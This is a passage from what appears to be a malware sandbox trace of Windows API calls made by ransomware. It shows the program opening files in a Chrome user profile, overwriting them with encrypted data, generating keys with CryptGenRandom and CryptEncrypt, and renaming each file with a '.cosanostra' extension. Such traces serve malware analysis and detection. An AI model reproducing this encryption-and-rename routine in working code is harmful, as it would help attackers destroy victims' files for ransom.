lpNewFilePointer=0xffffffff) returned 1 [0087.309] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x284, lpNumberOfBytesWritten=0x2abf634, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf634*=0x284, lpOverlapped=0x0) returned 1 [0087.310] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.310] WriteFile (in: hFile=0x190, lpBuffer=0x2abf674*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf634, lpOverlapped=0x0 | out: lpBuffer=0x2abf674*, lpNumberOfBytesWritten=0x2abf634*=0x4, lpOverlapped=0x0) returned 1 [0087.310] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf634, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf634*=0x30, lpOverlapped=0x0) returned 1 [0087.310] CloseHandle (hObject=0x190) returned 1 [0087.310] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.cosanostra") returned 170 [0087.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.cosanostra")) returned 1 [0087.312] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf670 | out: pbBuffer=0x2abf670) returned 1 [0087.312] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf668*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf668*=0x30) returned 1 [0087.312] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.312] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 159 [0087.312] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.317] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffd63, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.317] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x29d, lpNumberOfBytesWritten=0x2abf62c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf62c*=0x29d, lpOverlapped=0x0) returned 1 [0087.317] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.317] WriteFile (in: hFile=0x190, lpBuffer=0x2abf66c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf62c, lpOverlapped=0x0 | out: lpBuffer=0x2abf66c*, lpNumberOfBytesWritten=0x2abf62c*=0x4, lpOverlapped=0x0) returned 1 [0087.317] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf62c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf62c*=0x30, lpOverlapped=0x0) returned 1 [0087.317] CloseHandle (hObject=0x190) returned 1 [0087.317] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.cosanostra") returned 170 [0087.317] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0087.319] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf668 | out: pbBuffer=0x2abf668) returned 1 [0087.319] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf660*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf660*=0x30) returned 1 [0087.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.319] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 159 [0087.319] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.331] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffd92, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.331] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x26e, lpNumberOfBytesWritten=0x2abf624, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf624*=0x26e, lpOverlapped=0x0) returned 1 [0087.331] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.332] WriteFile (in: hFile=0x190, lpBuffer=0x2abf664*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf624, lpOverlapped=0x0 | out: lpBuffer=0x2abf664*, lpNumberOfBytesWritten=0x2abf624*=0x4, lpOverlapped=0x0) returned 1 [0087.332] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf624, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf624*=0x30, lpOverlapped=0x0) returned 1 [0087.332] CloseHandle (hObject=0x190) returned 1 [0087.332] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.cosanostra") returned 170 [0087.332] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0087.334] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf660 | out: pbBuffer=0x2abf660) returned 1 [0087.334] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf658*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf658*=0x30) returned 1 [0087.334] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.334] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json") returned 164 [0087.334] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.338] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.338] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf61c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf61c*=0x2800, lpOverlapped=0x0) returned 1 [0087.338] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.338] WriteFile (in: hFile=0x190, lpBuffer=0x2abf65c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf61c, lpOverlapped=0x0 | out: lpBuffer=0x2abf65c*, lpNumberOfBytesWritten=0x2abf61c*=0x4, lpOverlapped=0x0) returned 1 [0087.338] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf61c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf61c*=0x30, lpOverlapped=0x0) returned 1 [0087.338] CloseHandle (hObject=0x190) returned 1 [0087.338] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json.cosanostra") returned 175 [0087.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json.cosanostra")) returned 1 [0087.339] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf658 | out: pbBuffer=0x2abf658) returned 1 [0087.339] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf650*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf650*=0x30) returned 1 [0087.339] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.341] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js") returned 160 [0087.341] StrStrW (lpFirst="mirroring_hangouts.js", lpSrch=".txt") returned 0x0 [0087.369] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.369] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf614, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf614*=0x2800, lpOverlapped=0x0) returned 1 [0087.370] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.370] WriteFile (in: hFile=0x194, lpBuffer=0x2abf654*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf614, lpOverlapped=0x0 | out: lpBuffer=0x2abf654*, lpNumberOfBytesWritten=0x2abf614*=0x4, lpOverlapped=0x0) returned 1 [0087.383] WriteFile (in: hFile=0x194, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf614, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf614*=0x30, lpOverlapped=0x0) returned 1 [0087.383] CloseHandle (hObject=0x194) returned 1 [0087.385] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.cosanostra") returned 171 [0087.385] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.cosanostra")) returned 1 [0087.387] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf650 | out: pbBuffer=0x2abf650) returned 1 [0087.387] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf648*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf648*=0x30) returned 1 [0087.387] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.387] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json") returned 164 [0087.387] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.515] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.515] WriteFile (in: hFile=0x188, lpBuffer=0x2ff0120*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf60c, lpOverlapped=0x0 | out: lpBuffer=0x2ff0120*, lpNumberOfBytesWritten=0x2abf60c*=0x2800, lpOverlapped=0x0) returned 1 [0087.515] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.515] WriteFile (in: hFile=0x188, lpBuffer=0x2abf64c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf60c, lpOverlapped=0x0 | out: lpBuffer=0x2abf64c*, lpNumberOfBytesWritten=0x2abf60c*=0x4, lpOverlapped=0x0) returned 1 [0087.516] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf60c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf60c*=0x30, lpOverlapped=0x0) returned 1 [0087.516] CloseHandle (hObject=0x188) returned 1 [0087.517] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0087.518] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf648 | out: pbBuffer=0x2abf648) returned 1 [0087.518] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf640*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf640*=0x30) returned 1 [0087.518] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a059.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.519] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 102 [0087.519] StrStrW (lpFirst="A059.tmp", lpSrch=".txt") returned 0x0 [0087.519] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.519] WriteFile (in: hFile=0x188, lpBuffer=0x2ff0120*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abf604, lpOverlapped=0x0 | out: lpBuffer=0x2ff0120*, lpNumberOfBytesWritten=0x2abf604*=0x0, lpOverlapped=0x0) returned 1 [0087.519] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.519] WriteFile (in: hFile=0x188, lpBuffer=0x2abf644*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf604, lpOverlapped=0x0 | out: lpBuffer=0x2abf644*, lpNumberOfBytesWritten=0x2abf604*=0x4, lpOverlapped=0x0) returned 1 [0087.520] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf604, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf604*=0x30, lpOverlapped=0x0) returned 1 [0087.520] CloseHandle (hObject=0x188) returned 1 [0087.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a059.tmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a059.tmp.cosanostra")) returned 1 [0087.641] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf638 | out: pbBuffer=0x2abf638) returned 1 [0087.641] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf630*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf630*=0x30) returned 1 [0087.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.645] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 107 [0087.645] StrStrW (lpFirst="previews_opt_out.db-journal", lpSrch=".txt") returned 0x0 [0087.645] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.645] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abf5f4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf5f4*=0x0, lpOverlapped=0x0) returned 1 [0087.645] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.645] WriteFile (in: hFile=0x190, lpBuffer=0x2abf634*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf5f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf634*, lpNumberOfBytesWritten=0x2abf5f4*=0x4, lpOverlapped=0x0) returned 1 [0087.646] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf5f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf5f4*=0x30, lpOverlapped=0x0) returned 1 [0087.646] CloseHandle (hObject=0x190) returned 1 [0087.646] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal.cosanostra")) returned 1 [0087.647] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf630 | out: pbBuffer=0x2abf630) returned 1 [0087.647] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf628*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf628*=0x30) returned 1 [0087.647] CreateFileW 